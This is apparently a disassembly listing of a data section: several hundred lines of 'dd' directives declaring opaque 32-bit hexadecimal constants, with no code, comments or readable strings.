		dd 8A89B410h, 222718C8h, 452E004Bh, 0DEC40DACh,	26C43649h
		dd 0E90F0C12h, 0B8890091h, 4AA21455h, 0AB62017Eh, 0EA200949h
		dd 0B6238012h, 609013EDh, 0E93D00C8h, 0ECC3CD5Ah, 0A7090F3Ch
		dd 15CB699h, 0F7E0F32Ah, 637024D3h, 6DD8242h, 0B04CCA2Ch
		dd 0C358C09h, 0B63D00F6h, 0C058880Dh, 1841790Ch, 0C03F1049h
		dd 83C7BAF9h, 0EA4C73AFh, 0B53D0007h, 3CCA75A1h, 61045745h
		dd 0FA52CC8Ch, 590D680h, 0BB67070Ch, 0E610D66Ah, 0B1003703h
		dd 0A2EA82E5h, 0FC59C3F8h, 1D046A89h, 0CDD81FF6h, 0D81F9EC2h
		dd 0C3EFE9FAh, 18F80885h, 0EA87B382h, 8C2A832Eh, 32448840h
		dd 640A00A7h, 0AC9FBF28h, 8D24222Fh, 0AE4150EAh, 0ED93236h
		dd 0FB347FE9h, 50EF004Ch, 28421DC3h, 550983FDh,	3C8E83Dh
		dd 0C02CA5CAh, 3A15A01Fh, 377825BEh, 0C1082E3Eh, 0DC851B84h
		dd 5113136Dh, 6500E872h, 0BDAF3A62h, 25A816B5h,	4C4A1DA6h
		dd 4A101557h, 0B77340h,	28C843A9h, 3B3DA4DFh, 89263E1Ch
		dd 0BCA671F0h, 0CF8E00D3h, 3B2EF467h, 0B6009598h, 3C4EB1B4h
		dd 31D4DE5Ch, 5E383871h, 0DAB51069h, 115E610h, 5114225Dh
		dd 80A70879h, 2058AEC9h, 3825F1DFh, 0AC01CCBCh,	0B9B01535h
		dd 2C408E5Ah, 0FA7360BBh, 0A98066h, 89378AB1h, 0C4635834h
		dd 0AF4A501Ch, 31F0BA5Dh, 0EF26FB5h, 0F879863Bh, 5519DA8Ch
		dd 15F0800Ch, 98115Ch, 97D83252h, 3D8D3031h, 0D2292A60h
		dd 119275h, 0BA914410h,	0B51A27F4h, 0B9B20831h,	0D0CF8DBDh
		dd 1E6D466h, 9EC9913Eh,	0C4362441h, 8D03F8E7h, 22185FE0h
		dd 54A80F59h, 4440AA4Dh, 4F99DC7Eh, 0B58194A3h,	40B9F912h
		dd 2366A090h, 0B3628300h, 2528958Dh, 0D044F5BEh, 40B9A41Dh
		dd 6E2D1850h, 12551889h, 7AB87420h, 0BC375577h,	8EACE4h
		dd 0B2304026h, 0AAC3FD8Ch, 4A51024h, 61863504h,	133E20Fh
		dd 7F71F33Bh, 2712E029h, 0A810B0A3h, 1005C25h, 0C443C930h
		dd 0A1F8E324h, 95185160h, 28224EDAh, 44EC50E4h,	7300F8AFh
		dd 0E953DEE6h, 1DF609DCh, 0C4F15DB1h, 333E74h, 4284A855h
		dd 4F8E000Bh, 4BFF4E53h, 123A3D25h, 0CD2F077Eh,	0CA77CBF6h
		dd 1648AD00h, 0B70603FFh, 772A3520h, 0E28DC002h, 813819DCh
		dd 0A6A36448h, 0E9C98987h, 0F1D04D46h, 190DC7A1h, 0D0993095h
		dd 504C0ADCh, 22AFA0ACh, 3F013389h, 0B0D23ED1h,	0A4F76FEEh
		dd 1B51C88h, 0E093017Fh, 0B0BD021Ah, 718FD178h,	0DCE10E68h
		dd 8814549Fh, 4C9DCAC0h, 4700131Bh, 6C5C0A97h, 6F2AE44h
		dd 0F5BC7ED4h, 2D0C4848h, 0B03422EAh, 0E9DC18DEh, 0C1D11844h
		dd 3317A20h, 70A41802h,	32864779h, 0C0BAD434h, 7B92EC04h
		dd 14008D0Eh, 0E6D68CFFh, 490010B8h, 43AE0650h,	0C8DA5C6h
		dd 673FAC54h, 0EA102360h, 550559F4h, 0CF3B094h,	0A0C1BC90h
		dd 0D30AB90Ch, 151E68DEh, 0FC028387h, 2BB67D00h, 0F9A4E00Ch
		dd 24505260h, 23C9EDh, 6BCA33DAh, 0CD155EF7h, 0B4002AE4h
		dd 517F9B4Ah, 766952h, 0ECD3F0E0h, 5F4CFA88h, 6DA91607h
		dd 0E04F3FB7h, 71855DE3h, 0F0BC0718h, 815EA078h, 0F0A56DD5h
		dd 9F002021h, 0CAFB9E73h, 3F4D40Ah, 0A1EFF288h,	24E8162Ah
		dd 6203AA27h, 62F15EEh,	0DB79D8B8h, 2EC900FCh, 231BAFFEh
		dd 0F228B29Fh, 3E3C802Dh, 7DF8678Eh, 2CCCACF4h,	921298AAh
		dd 122D0A98h, 88D458h, 0DAB89880h, 10C2AEBCh, 400D7214h
		dd 61FA258Ch, 0D73B306Ah, 14142420h, 0AC2D5F2Ah, 17EC2103h
		dd 0F63EDA07h, 1E0D7D21h, 0C00938D5h, 0D856F8F6h, 0A53F5BB2h
		dd 7E583261h, 5DE048C2h, 0A070260Ah, 2E2584B0h,	1218D07Ah
		dd 0B183D240h, 71803989h, 69BED735h, 31036159h,	0DAE3658Fh
		dd 0AA519050h, 45E492ECh, 0A4B700A6h, 98918085h, 9CEAB507h
		dd 32AE94Ch, 293B7971h,	9BDB6B2h, 4402EBA0h, 0D8017232h
		dd 43F52EB5h, 6715518Ah, 3BF580A8h, 0C807C15Fh,	0CE003A90h
		dd 8A1B0E65h, 7C50D93h,	5F0217F7h, 0EE9F401Eh, 0C478D6B5h
		dd 0A1100A15h, 0FD7002BCh, 0A326A264h, 605E95A8h, 70EF21A0h
		dd 9655D83Ch, 0D990B0ACh, 0C25D565h, 0AF7C1669h, 8244D729h
		dd 523D2AA8h, 0AAFC50B0h, 0C18EFD22h, 0A26C648Ch, 8607F149h
		dd 2B01F3DFh, 0E0292EF0h, 0A01E0C54h, 0BEE96516h, 0CFBC2300h
		dd 3C08E76h, 0AF3903C7h, 0CAC2E4D2h, 993F19A8h,	9CB0F450h
		dd 25A0C9C1h, 5C58200Eh, 0B4510085h, 0A3945A1h,	422C2DACh
		dd 684204C3h, 821E00C0h, 0C8911C26h, 0ACDEB8B0h, 104A6031h
		dd 2E72CA29h, 80B6D8A0h, 78C0FC92h, 7DAF579Ah, 0D310F74h
		dd 1B803563h, 0E8125E01h, 834AA4Dh, 83803A2Dh, 3F897FEBh
		dd 790B4172h, 805974D7h, 5CBF5750h, 0D69103C1h,	9458BBDFh
		dd 0AC4171D2h, 0C2B41255h, 27D461CCh, 2F2D2E10h, 0B602B8A4h
		dd 96BA29B5h, 418C6A53h, 0F8356D9Ah, 6224E2FCh,	2F2E98E1h
		dd 50C87444h, 3493A825h, 81B056CAh, 0DF9C64h, 17B22E14h
		dd 8FBADF6h, 52A631A4h,	0BA37873Fh, 7E08AB8h, 4721B4h
		dd 5C042F39h, 55229BA4h, 0B70CEF70h, 50C6500Ah,	8B020318h
		dd 4605B4DEh, 0B663A002h, 0A1A4F2h, 960B55AAh, 0E12188C1h
		dd 0C98BA5ACh, 3010B6AFh, 54B1AD64h, 15589901h,	1180AC08h
		dd 0B0DFA950h, 5B00E744h
		dd 9B63F61h, 5418207Fh,	722D14B7h, 0EAAE000Bh, 0DFC19297h
		dd 800696B8h, 283F062Bh, 0FACF00E9h, 5984154Bh,	9770F7F9h
		dd 0F10C3B01h, 0F3E8E95h, 887F8985h, 4BAC403Ch,	33D727A5h
		dd 0BCB3461Fh, 742AFB80h, 1D767A7Eh, 6C25EBAFh,	0D166183Eh
		dd 8500E988h, 27287819h, 0F39E2B7Eh, 17C55F8h, 52AD30FBh
		dd 2465A63Dh, 5150B628h, 41C169A8h, 354FD0C0h, 2E020CECh
		dd 0A7CFA7h, 48A19E01h,	0B3093324h, 257DEB8h, 979C64Ch
		dd 990F7C80h, 2C0BDAEBh, 0A07ECA2Bh, 208B604h, 0A822832Dh
		dd 4BC2045Bh, 0C1E34CD0h, 2863A00h, 0AD84E08Bh,	0EAB6884Eh
		dd 0E8CB0428h, 25625100h, 0A1BD995Bh, 2B1403DFh, 69B47EF9h
		dd 0F5733112h, 513D5804h, 5D6ED500h, 8D1338F0h,	0B420A964h
		dd 60BEB22Bh, 20B5A02Fh, 48F95E25h, 6B121D88h, 6830E13Ch
		dd 80605A35h, 2E7D2736h, 43CE34Dh, 0E714A126h, 155B4CCh
		dd 0F768C1DDh, 0D4323927h, 8C01A75Fh, 7DB3237Bh, 3CD82A3Fh
		dd 0A09FF8DAh, 816B0A30h, 81C093FBh, 94632425h,	5F10D00Eh
		dd 0A82500A5h, 9C5E1B0Dh, 0D904A401h, 0E721C51Fh, 332FE891h
		dd 0ECDA2D10h, 8FA0CC51h, 81562810h, 431AB9A9h,	0A4E28040h
		dd 0E04CBA5Ch, 0FDE0077Eh, 0C3DE8DFFh, 1805372Dh, 49C6C1C9h
		dd 6B881806h, 32E11019h, 9D30643Ch, 70908849h, 610E8E5Eh
		dd 20ED65A8h, 8339E806h, 0D69205FFh, 0C184CEFDh, 8C8A2C98h
		dd 39358830h, 297D580Fh, 1324BE01h, 505E15CAh, 0CD0EBB0h
		dd 177BA900h, 87B3D8F9h, 414364CFh, 44005637h, 0FB69A812h
		dd 0D64709ECh, 0C48271A5h, 0B0013B96h, 0E3D9F87Ah, 3860F449h
		dd 0B7614046h, 1F78645Ch, 23A7E13h, 5387931Eh, 554CE08Dh
		dd 3B7240FAh, 8414DD49h, 8D0766E2h, 42C04ED6h, 0AE984AA7h
		dd 41E83E04h, 788173EBh, 7D005CA6h, 6600A0BBh, 0A7AE45DDh
		dd 122344AFh, 80D2B1C9h, 0A207D840h, 3244B098h,	0E962E428h
		dd 50751501h, 37D2DD8Ch, 0BDBB9200h, 0BCE0F2E3h, 95B4E89h
		dd 5820C12Ch, 3387F4C8h, 1C65B800h, 0A767B495h,	0F9712C58h
		dd 34DF0A90h, 10667104h, 3804F4Dh, 56D169E7h, 769020AAh
		dd 7183F2Ch, 0DF18E6BFh, 0BE461803h, 5B1040DEh,	0F3A3CE00h
		dd 0BFE9BAD4h, 2C551C94h, 53099F4Bh, 0C29F0E34h, 400AF606h
		dd 9DAA5200h, 0DB2C7784h, 3757781Bh, 0B1108CB4h, 860B074Fh
		dd 0C54D0528h, 2F00099h, 55F19138h, 0C674091Ch,	57DE002h
		dd 0BCBCDBAFh, 0E8B84430h, 0F9F7CE0Bh, 0A69A8074h, 1770AEC5h
		dd 0D65B6EEh, 0F129A4DBh, 0BE180FEh, 9A322780h,	0C19F0750h
		dd 0C0E4AC9h, 44007DF0h, 0CA1E19A7h, 0A16D8855h, 3886DCA8h
		dd 90053F20h, 8685029h,	0C17B7606h, 9CA71BD8h, 0CCC041ABh
		dd 0F1C0C0A9h, 7251617Fh, 2791C1BCh, 80125B4Dh,	0DFB2879h
		dd 0C1A07259h, 5AD9C221h, 67E85026h, 33544DE1h,	272A4718h
		dd 5819E0C3h, 0A371DDB0h, 22CE6A11h, 255F1D08h,	0E9519A03h
		dd 0C050E3A6h, 0BC8E49h, 0E074FA28h, 4ACA1633h,	0C5618EEFh
		dd 41B58C86h, 89296F77h, 0C408420Ch, 47414E65h,	55591FC6h
		dd 34EDA807h, 8454DFC5h, 29695C30h, 9358C1DDh, 7C83877h
		dd 0D9F778A0h, 641E073Ah, 6161A0EFh, 0EC388D9Fh, 271E31BDh
		dd 9700C34Ch, 0F9FA5A4Bh, 0F7A30908h, 1800017Dh, 51CCF8DDh
		dd 679F5800h, 49EDDAB3h, 0D24E387Eh, 0F760160Bh, 5591FF80h
		dd 0FA18FD46h, 3F406D3Ch, 0C2BB20D9h, 0C36B5Ch,	0EC69C8FCh
		dd 3347A53h, 0D24B13DDh, 7097C351h, 9FD4A27h, 0F8A2CA02h
		dd 40D92A2Fh, 7C5F7B0h,	0FC961365h, 24F6859Eh, 0BF046AC0h
		dd 4D0F854h, 0FA901A50h, 4ED880C8h, 0A5003AA7h,	111F3313h
		dd 3C923CC1h, 0FAB84B18h, 7E266C80h, 9EB6DA36h,	51C90918h
		dd 1CA16840h, 804D3524h, 2210DD40h, 3EE45FD2h, 42552901h
		dd 3D5E1ABAh, 274C0h, 0F79AB7BDh, 8E1451C8h, 72A46520h
		dd 0D83B004Bh, 55D2170Eh, 960938C6h, 80D04E26h,	81EC3019h
		dd 0E6BD0906h, 8D800AD8h, 0ADF98DA1h, 493C2407h, 0FCD42294h
		dd 942E38C5h, 65DA01BBh, 0A3639A19h, 9049F0D8h,	0EDD0176h
		dd 0CA5AD218h, 4A57DC3Eh, 8EF1300h, 184FD37h, 69FA1DD8h
		dd 11510702h, 6EDFE08Dh, 7E009F36h, 7413D33Ah, 0E0289Dh
		dd 874D9841h, 39191196h, 34702703h, 1970ED7h, 98135340h
		dd 0C06EE06Ah, 47007B9Eh, 1F7408DDh, 13ABE4Ch, 0F85212Bh
		dd 706CC4EFh, 0C800342Bh, 160368BBh, 64133Fh, 3BD5DFFCh
		dd 0A7477C4Eh, 0C1560816h, 0BF8C6Ah, 3AD22E7Dh,	679958h
		dd 4F02DAAEh, 0BCA23CA9h, 166A5558h, 8C1D44C1h,	0C3F0FEC7h
		dd 0A07C2BD3h, 7469BBDBh, 1D3A00F7h, 65CB268Dh,	0A5005836h
		dd 1FFCDA4Ch, 94D27h, 85548F3Dh, 32F1FEFBh, 1E0099F6h
		dd 89EE6DBh, 0F1A4F16h,	0D09D6995h, 37355BE0h, 0D2ECBDCFh
		dd 3FC23C00h, 0F9852728h, 3409010Bh, 0D50470FAh, 15EEF8B7h
		dd 90104C00h, 355FDFFBh, 797A3F53h, 69160E81h, 6043095Dh
		dd 0A58844ACh, 357E0AFFh, 4888FCD7h, 80FDDF04h,	6B990DBBh
		dd 970305A2h, 7CF19814h, 0BAC1A1EDh, 8FB0344Ah,	55009E68h
		dd 0E09908AAh, 5986B7Eh, 9C087A1h, 761C70E6h, 10C0A837h
		dd 0BDEF3C7Fh, 0C6FE1Dh, 8E103F5Eh, 0A47F0E4h, 460BC5E0h
		dd 0C00D3B07h, 0C89930h, 0B8EAA34Dh, 5634D4F3h,	8B0FDD3Bh
		dd 68A80A4Eh, 1D3C8174h, 0C220867Ah, 0F9D088C9h, 1DB1CB1h
		dd 9980CB99h, 75064357h, 3301D4F5h, 0B8086576h,	2180D268h
		dd 486E9822h, 450FA0E8h, 9CF265BCh, 0D9D8B3B9h,	6286D8BFh
		dd 1B64B657h, 21F6095Eh, 86C51F00h, 976A0C9Bh, 0B88C0047h
		dd 0B4C1D9FBh, 5001CCCFh, 0ECAE765h, 9850C64Dh,	29963A2h
		dd 0BC9648CEh, 98D84128h, 121B860h, 1FF2999Ch, 80C861ABh
		dd 59AEB0B2h, 7602A6E4h, 0E307492Ch, 18F0D813h,	18D6C072h
		dd 5B2FD9C2h, 272C0542h, 83C1E5C2h, 0D04355C4h,	0DD4F412h
		dd 0D7239CA7h, 0A8CCF418h, 47989554h, 11375F18h, 303FF58h
		dd 0AA511B9Bh, 6000D338h, 7C7A4BE4h, 5077CFADh,	0A5F18028h
		dd 60C0E498h, 50F80Ch, 0B72F0F18h, 8BA05E7h, 4FD6C700h
		dd 69A265Ch, 69CA444Dh,	71825800h, 1DD5A05Dh, 7D19C0C8h
		dd 84E325CDh, 0A873BE01h, 850164E5h, 3005B842h,	0D3119968h
		dd 0B9887E48h, 99610480h, 0E7A06B2h, 580B5B8Ah,	10DDB65h
		dd 0F3DD598h, 0A55A00BBh, 6AF10078h, 0C9587A9Dh, 3B0657FEh
		dd 0CE1E506Bh, 62720051h, 0EE5F4FCCh, 0CBFCA1EBh, 4482A600h
		dd 0CA1E12DEh, 83CD289Bh, 1FE50h, 9A31D089h, 55E3B60Ah
		dd 0B2099078h, 20FF76BBh, 95F5A380h, 4E2F0001h,	9B3F7A43h
		dd 0C50F0864h, 6604E3h,	0AA52B331h, 0C8890BFh, 0D21F3433h
		dd 4A24ADB8h, 854200C2h, 0F0DC84D6h, 6486CE60h,	0A5B95710h
		dd 1980C7C8h, 2C8886B7h, 9AE74A9h, 0D9CC9251h, 4F4D0C03h
		dd 0D168C1B0h, 5849507Ch, 0D9F20654h, 12C10157h, 58D04E03h
		dd 1104E8BCh, 7E14C890h, 0B948AEC5h, 536E30FAh,	1830B901h
		dd 586F7BF2h, 789B04E0h, 4726011Dh, 0B57ADCE4h,	0E86084F7h
		dd 0C9809CAh, 0CF990864h, 0BAC49E48h, 1C4245Ch,	213331C3h
		dd 87CC4049h, 0D96069C6h, 0ECFAA3C9h, 0FC42F8ADh, 567D0EF1h
		dd 0E8E015D4h, 43274E78h, 0A8FB48h, 0F440CB01h,	148AB4C7h
		dd 98C2154Fh, 4D1DE30h,	0B7793DFEh, 4665D8A0h, 0C49ECB01h
		dd 61E1B539h, 4E29C30h
		dd 0E0535170h, 0F554C220h, 1586D130h, 98A15767h, 1A80C688h
		dd 217386BAh, 81B50389h, 0D4683169h, 12D5C900h,	0FFE07AFEh
		dd 8B1D0153h, 38757086h, 3F49F047h, 0CCF0E854h,	0BC787326h
		dd 1BE9E08h, 1C4FCB25h,	0CC688535h, 0A052C3ACh,	0E3A75404h
		dd 0D9C42D40h, 892E45Ah, 8FD6A53Fh, 0BD0FE802h,	9E192558h
		dd 789F18C1h, 0FD141128h, 7E030D01h, 0A5DBAEEDh, 0F040C2Bh
		dd 0F500E921h, 3E27F90Dh, 2EE3F2Dh, 725994B3h, 8C66A4B4h
		dd 45251880h, 0B4A0D375h, 0A918D76Ah, 0DB28DA58h, 0ECB3020h
		dd 4C81B6B0h, 0E118A266h, 0C71220F0h, 6588D8A2h, 0A5F580ACh
		dd 5D06E2CFh, 0BF8258B4h, 68FF5B27h, 1A48D4A4h,	10102F3Fh
		dd 0F1C99031h, 0FE1982FFh, 603EDAB4h, 81D254B8h, 0E01C66E8h
		dd 0AB87ACh, 5DE9D7CFh,	0D95C91B1h, 0E9E73F88h,	74BF6510h
		dd 24B7E03Ch, 0AA9C04CDh, 1FE6709h, 4BC609A3h, 0A2C00C2Bh
		dd 68F68D21h, 0B0AC4300h, 4B53A920h, 8CAF509Ah,	0C09E01CAh
		dd 0FA447E93h, 70743013h, 0A2175F00h, 0DB25966Ah, 9CCE54F3h
		dd 0B4FC070Ah, 2021AE09h, 52D3A8CBh, 68355107h,	1D93C00Bh
		dd 48D900C7h, 0B8369DBAh, 3100E1DCh, 6B01E0EAh,	0A3B66344h
		dd 81B7F8E4h, 30B44138h, 0E4A89364h, 0C205CCF7h, 3F04A7DCh
		dd 24D9FC88h, 8008275Fh, 0DC4BFE5Ah, 930F5208h,	0E9A7E93Dh
		dd 183070F3h, 89B11E0Eh, 0FB00B7FFh, 0CE35DAB3h, 14149CBh
		dd 0C9013974h, 0D0F75A87h, 1492F6AAh, 4F4C2D01h, 0D16D9481h
		dd 0F0B2D430h, 180A8E0h, 4C1BE8D0h, 0C8809077h,	5E7C3798h
		dd 6FB30A00h, 0AD3F134Eh, 0BB44167Dh, 4BE441D3h, 11F3BA2Eh
		dd 0CB00B5AFh, 3B69A9CCh, 72D480A9h, 3C6B3319h,	0DB1291AFh
		dd 3B8E676h, 7F34801Ah,	724000E0h, 151B2766h, 91C32B77h
		dd 891F23EDh, 9050ACD3h, 0BF810Eh, 7D55E404h, 0D0DB9434h
		dd 0E82440D4h, 0C9988CA4h, 5C93A802h, 0E07FD71Ah, 25505B1Bh
		dd 0B8C3F622h, 0C9BC90C5h, 0C1269F8Fh, 0FBC00C61h, 467DFD0Dh
		dd 10225Dh, 8E0DF3EBh, 704B85Eh, 7C87831Dh, 0D30230A6h
		dd 0C9B90E5Ah, 54207194h, 9BAD261Fh, 0AF8C081Ch, 580EC113h
		dd 38659009h, 0FC402060h, 7D23FE0Dh, 2F91155h, 0D90DF4EAh
		dd 9B04C136h, 8C5004E6h, 0DE748FF0h, 6F61A260h,	0B82DCEA9h
		dd 0CD6A12A7h, 69EC21B4h, 269C50DEh, 0FC0AC83Dh, 0B216DBE1h
		dd 0BDD92307h, 61FF2037h, 6D3CCCF6h, 0CE2A50E8h, 48207289h
		dd 53E09AFCh, 1080E4A2h, 746D33E9h, 95DDCC05h, 0B442CF23h
		dd 44CED64Ah, 995517E8h, 23A83ACDh, 0C1BF00BAh,	41808376h
		dd 3E08204h, 0F0B85945h, 0B624753Ch, 6801C018h,	0C4C53F7h
		dd 0A8CE03Ch, 3D6F0068h, 0CBADB4FFh, 0A7406E42h, 0FA8994Ch
		dd 0C64F3A99h, 0A5FFF6E0h, 5E09D06Fh, 90F2AE28h, 5B1C3Ch
		dd 5A090B70h, 364A488h,	0E992800h, 4DF14C3Eh, 98E07BD3h
		dd 6CC14858h, 701C423h,	1C53F968h, 8A88A618h, 29680010h
		dd 4054ED6Bh, 0E205B22Eh, 6E435590h, 43C59892h,	0B310004h
		dd 22E0E93Eh, 0E1168C6Fh, 842452D9h, 0C0D9981Bh, 12A8026Bh
		dd 88BBA39Ch, 21C0FBDCh, 9F87E442h, 9CDA1DC2h, 0AF200E3Ch
		dd 7CC1681Ah, 71476EFh,	576586CFh, 40C4C4E8h, 0BE86B818h
		dd 0F0D7032Ah, 0C0FE5B53h, 8E1DB802h, 4D34DCC9h, 21CEE008h
		dd 220B1B2Dh, 0E7E09B2h, 0AA95E1A3h, 0B821AEB8h, 110EA032h
		dd 2707350h, 97DDAA56h,	27EC6077h, 0FE440D3h, 56E840C0h
		dd 555A629h, 133DD889h,	0CDEC92C7h, 0DB7454E0h,	9A46DC90h
		dd 80DFA04h, 8BD8857Eh,	0F2F40028h, 0F895520Dh,	7DB5008Eh
		dd 0AA5716ADh, 0CB80D79Ch, 98D65458h, 849112B0h, 0E3849DB6h
		dd 41FA5186h, 4AB0817Eh, 0B1BE2007h, 5C1210F1h,	41C848C0h
		dd 0A00E0B0Ch, 81098463h, 499B1C8Fh, 901680D8h,	0E309F67Eh
		dd 8AB57E55h, 76800C9Dh, 0FAC1FB4Fh, 8250067h, 9B045051h
		dd 7A18DCE2h, 9798CA8Ch, 105A036Ch, 36535803h, 9CE85495h
		dd 12447180h, 3C00EA4Dh, 0DB5574D1h, 0A8B5AA52h, 58C9F2BCh
		dd 0BC10EC8Eh, 0D1F50A12h, 0CA8086Bh, 0B946ECA4h, 0FC680201h
		dd 6208F453h, 0B8FC004h, 4CF2AB68h, 0D1007270h,	0E49303B2h
		dd 0A0A80476h, 0AE001169h, 162B6434h, 24F42B7h,	603E526Eh
		dd 0F084FED2h, 0DF8609Ch, 0F57E1002h, 8711C8AEh, 0D00DF0E6h
		dd 0AA491AF3h, 0F1715000h, 5F482440h, 30FD48EBh, 40F84C50h
		dd 6CA50DB0h, 0C160A2C4h, 9200F77Eh, 0F6C5725Dh, 0F4CD5B3Fh
		dd 0A06382BFh, 60435F92h, 0AF56FCE0h, 0BC8C744Ch, 60008CA3h
		dd 0FE5CB03Eh, 0A6EF5DBh, 0A6CD1122h, 64F20034h, 0CBB45ADDh
		dd 0C698D0C0h, 0B3B73DFDh, 777F0BB8h, 6FA6B400h, 0C326B697h
		dd 6A08009Fh, 352704B9h, 3EECF1D3h, 0C7E90430h,	2432E5Fh
		dd 78FD80B8h, 27704EECh, 0D3062C00h, 0D4BBBE40h, 0BD5A2C96h
		dd 0B91308ECh, 0D46A98ACh, 104674h, 0D2E3CC14h,	3FDCF1E2h
		dd 4002C007h, 4D02CEF5h, 5609C0E6h, 40BFA482h, 25511BF4h
		dd 8C21647Ah, 4F8534Fh,	30F49882h, 681386D2h, 8C8B9957h
		dd 86BB1501h, 0CCF6D88Fh, 5102A4ABh, 34F21C4Eh,	0CD2490F1h
		dd 57631186h, 80C388C1h, 5386B61Eh, 181CB2FFh, 55832B51h
		dd 2771Fh, 979DA5F1h, 4E109B3Ch, 9FF9C100h, 0E31F3104h
		dd 80873F56h, 0ACBA4714h, 299EC009h, 0A0689185h, 0A94FCCA0h
		dd 1E903830h, 6011D279h, 645A5668h, 2447A140h, 8088DB3Fh
		dd 0C787A5F5h, 8318A638h, 0D930CF4Ah, 0E8504CA4h, 850852Ch
		dd 0A947B633h, 28118268h, 80E812EFh, 0D841B47Ah, 882855E1h
		dd 0A84E3C02h, 6CC1CB1Bh, 0D981041h, 0E42E0D8Dh, 0E0A1D7F3h
		dd 5107B6D9h, 716CB7EAh, 0E6B36F00h, 0E8FB19D7h, 0DE6860DEh
		dd 0F0ED4103h, 7C456BC5h, 191061DDh, 20FF0E93h,	0E8C9B38h
		dd 7E070DF9h, 8FFA8871h, 48A0F1E5h, 3AF33F28h, 0F4A991DEh
		dd 0F119CB79h, 0B7EC4876h, 9A427F00h, 97EFEB54h, 0E1AC0131h
		dd 0D08A980Bh, 31CC4DDEh, 3FCC0067h, 10B2E407h,	4A14DA5Ch
		dd 5F702C43h, 50D9D837h, 0DD4C2A5Ah, 0A6E116E4h, 0FDB054C9h
		dd 0D1DA6B16h, 112A0Ch,	0A1F31BB4h, 6911C7C0h, 313435DCh
		dd 1A2740B0h, 0C407B360h, 2A8CD0Ch, 16044ABh, 16C194EBh
		dd 64E04504h, 78306B08h, 9277E9F6h, 573F0084h, 0A2836F5h
		dd 48014C7Ah, 1DA9FAF6h, 0A3EC109Ch, 0D149004h,	4CB2D507h
		dd 6D3930D9h, 0FF17AD0Ah, 9931F0C5h, 94C47E54h,	0E89C8Fh
		dd 0AB670A05h, 700507BBh, 0FD629538h, 2BAF9805h, 0CD8868ACh
		dd 8A2580A0h, 407800B0h, 682E1Dh, 0C4FFC3E1h, 6A73FA8h
		dd 9C2838DCh, 2CC0EB20h, 6110966Bh, 80D1F2F6h, 7DF7AFA9h
		dd 3DC311E2h, 0D503A6FBh, 337E05E4h, 1AFC72E8h,	0FC96E572h
		dd 967C5340h, 376A036Ch, 0FB9D9BB4h, 15A63980h,	0BD4FAF05h
		dd 0E4CEB9A7h, 380EA39Fh, 21003714h, 7FB274A3h,	20334BDCh
		dd 72516ADCh, 20167C5Eh, 0B014400h, 0B9FF45C9h,	3682BB10h
		dd 0F589CF81h, 297E0CE0h, 81F745Eh, 62F93009h, 91A897D0h
		dd 0E44D800Eh, 37AA2E49h, 6090528Eh, 364353E0h,	9F0CBE58h
		dd 8F2C7708h, 0DEA4098Fh, 505C811Fh, 0F478F672h, 1028E158h
		dd 0D504C3D6h, 0E4C40F9Dh, 34158020h, 4E0C2A3h,	0DCD079D7h
		dd 0B34F8300h, 0C8B46910h, 0E13C5040h, 30EA1E4Bh, 0CCAF8037h
		dd 6B7D8629h, 0CD9CF100h, 1C848D5h, 0CE400FBDh,	0AAE23CBBh
		dd 60D19F26h, 0D4181171h
		dd 55A8FF00h, 4145A597h, 47130E98h, 4756C727h, 854E334Ch
		dd 602CA11Bh, 0D65EB4F0h, 0F272CC41h, 45CE6B80h, 60C3E414h
		dd 1099A51h, 6DAEF640h,	0CCB90391h, 60C3ACA0h, 0B1A27032h
		dd 60C29A94h, 88DFCE38h, 0D973E29Dh, 0B1929E00h, 0E0CF1948h
		dd 20B0B05Ah, 4708A5ECh, 4136F4Fh, 90AF1E09h, 8CE642Ch
		dd 0D955430Eh, 980C008Fh, 3AF5B4Eh, 72C5764Bh, 8281021Ch
		dd 35BCEDD9h, 0A2DC2360h, 11FF3010h, 8421A600h,	5E1F7FD3h
		dd 2E78B880h, 0AE70424Ah, 0E465E24h, 78217200h,	8C70DEB4h
		dd 0E0794A01h, 43B27C9h, 68AA9400h, 7030AD4Bh, 16591B48h
		dd 0C9DA4472h, 3320C250h, 80CB6334h, 0F718C904h, 0D4306207h
		dd 0E44486B5h, 1D932C03h, 484D3870h, 0D097E825h, 0BD80BE11h
		dd 5B854945h, 0ABD91800h, 58F49A4Ch, 0A7702A72h, 0BBEF443Ch
		dd 1E04E16h, 6FD7FC48h,	15410131h, 85877980h, 0DE68A088h
		dd 20DB6A09h, 0C769BE20h, 0C0720F43h, 6787993Ah, 0E68F10E0h
		dd 0FE5C3DEBh, 0ACD410DCh, 0A34DF701h, 6DF410B2h, 352310C4h
		dd 4059A901h, 41F6E74Fh, 0A4F4D8BCh, 0F601C18h,	165D018h
		dd 5134B495h, 0A39092h,	205B4BF8h, 2759A11Ah, 4E030C6Ch
		dd 96AA9D8h, 0B8F481B9h, 55F1848h, 303FE80h, 4EA4DA11h
		dd 0D0E9574Ch, 195C3868h, 0CB31B680h, 400C4C70h, 0D180FB9h
		dd 8A990377h, 0F8EA00C0h, 1C4B4120h, 3850F084h,	5317ED8Dh
		dd 5CDB291Fh, 0E5EBB281h, 48B838F3h, 0D97B0080h, 79786FAEh
		dd 4DF00C60h, 0EAB12E57h, 17C07E2Dh, 1C6BFE4h, 0A9AF9A11h
		dd 7040A4C8h, 0C07A5BCDh, 94BD98C1h, 540B059Fh,	68B066A3h
		dd 9ED1BB60h, 0CB104268h, 40BA0D22h, 0B6AEBB84h, 0C0172530h
		dd 0E380A711h, 0CE99728Eh, 82B49C3Bh, 7FF6366Eh, 0BA24437Bh
		dd 3A60F9BBh, 686734A5h, 4B60C464h, 9E0B70B5h, 231A42ADh
		dd 4061D40h, 0FF5FA9D1h, 5A80A0FAh, 4C667924h, 88A48312h
		dd 6A18C4CAh, 0B08C2864h, 29D4628h, 7E010DF7h, 603CD9FDh
		dd 1E0DEFE7h, 60162004h, 0E41E064Bh, 0B8F308D4h, 0A1B70D4Fh
		dd 2C51CDh, 0A9888282h,	0C39C020Bh, 0C2DE0427h,	5520F8FCh
		dd 0BC4C807Dh, 4ABB84F4h, 18C4B8AEh, 92D0C06Ah,	0FDC922Ch
		dd 40A170E2h, 0DC307280h, 78308CCEh, 118BB1F8h,	0F33C0F20h
		dd 0D08E48ACh, 16414BE0h, 7F0ED181h, 0BAB0D1Eh,	0EA888DA5h
		dd 0ACCD4085h, 278E2C4h, 74B9C571h, 11989DDDh, 522A8010h
		dd 0CD2BA0h, 60889CEBh,	0C48B347Eh, 96899494h, 20AC5ABDh
		dd 0CDF0D3DFh, 21F49CA8h, 0CFBEE700h, 0C6A79560h, 0ECB23C7Ah
